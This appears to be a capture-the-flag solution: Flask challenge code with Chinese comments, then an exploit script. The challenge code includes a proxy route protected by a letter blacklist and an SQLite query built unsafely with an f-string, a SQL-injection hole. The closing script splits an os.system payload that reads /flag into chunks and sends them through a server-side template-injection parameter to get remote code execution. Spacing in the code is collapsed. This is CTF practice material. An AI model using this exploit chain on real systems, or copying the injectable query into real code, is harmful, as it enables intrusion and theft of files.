# 二进制字符串转普通字符串函数 defbinary_to_string(binary_string): # 检查二进制字符串长度是否为8的倍数(完整字节) iflen(binary_string) % 8 != 0: raise ValueError("二进制字符串长度必须是8的倍数") # 将二进制字符串按8位一组分割 binary_chunks = [binary_string[i:i+8] for i inrange(0, len(binary_string), 8)] # 将每组8位二进制转换为对应ASCII字符 string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks) return string_output
# 定义/proxy路由,仅允许GET请求 @app.route('/proxy', methods=['GET']) defnolettersproxy(): # 从请求参数获取url值 url = flask.request.args.get('url') ifnot url: return flask.abort(400, '未提供URL') # 无URL参数返回400错误 # 拼接目标URL(固定域名前缀) target_url = "http://lamentxu.top" + url # 检查URL是否包含黑名单字母 for i in blacklist: if i in url: return flask.abort(403, '我屏蔽了整个字母表,哈哈哈~~~~~~') # 防止SSRF攻击(禁止包含点号) if"."in url: return flask.abort(403, '禁止SSRF') # 向目标URL发起请求 response = requests.get(target_url) # 返回响应内容和状态码 return flask.Response(response.content, response.status_code)
# 数据库查询函数 defdb_search(code): # 连接SQLite数据库 with sqlite3.connect('database.db') as conn: cur = conn.cursor() # 执行SQL查询(对输入值应用7层UPPER函数) cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))") found = cur.fetchone() # 获取查询结果 # 结果为空返回None,否则返回第一列值 returnNoneif found isNoneelse found[0]
payload="__import__('os').system('cat /flag >1234')" p=[payload[i:i+4] for i inrange(0,len(payload),4)] flag=True for i in p: if flag: tmp=f'\n%import os;os.b="{i}"' flag=False else: tmp=f'\n%import os;os.b+="{i}"' r=requests.get(url,params={"payload":tmp}) r=requests.get(url,params={"payload":"\n%import os;eval(os.b)"}) r=requests.get(url,params={"payload":"\n%include('1234')"}).text print(r)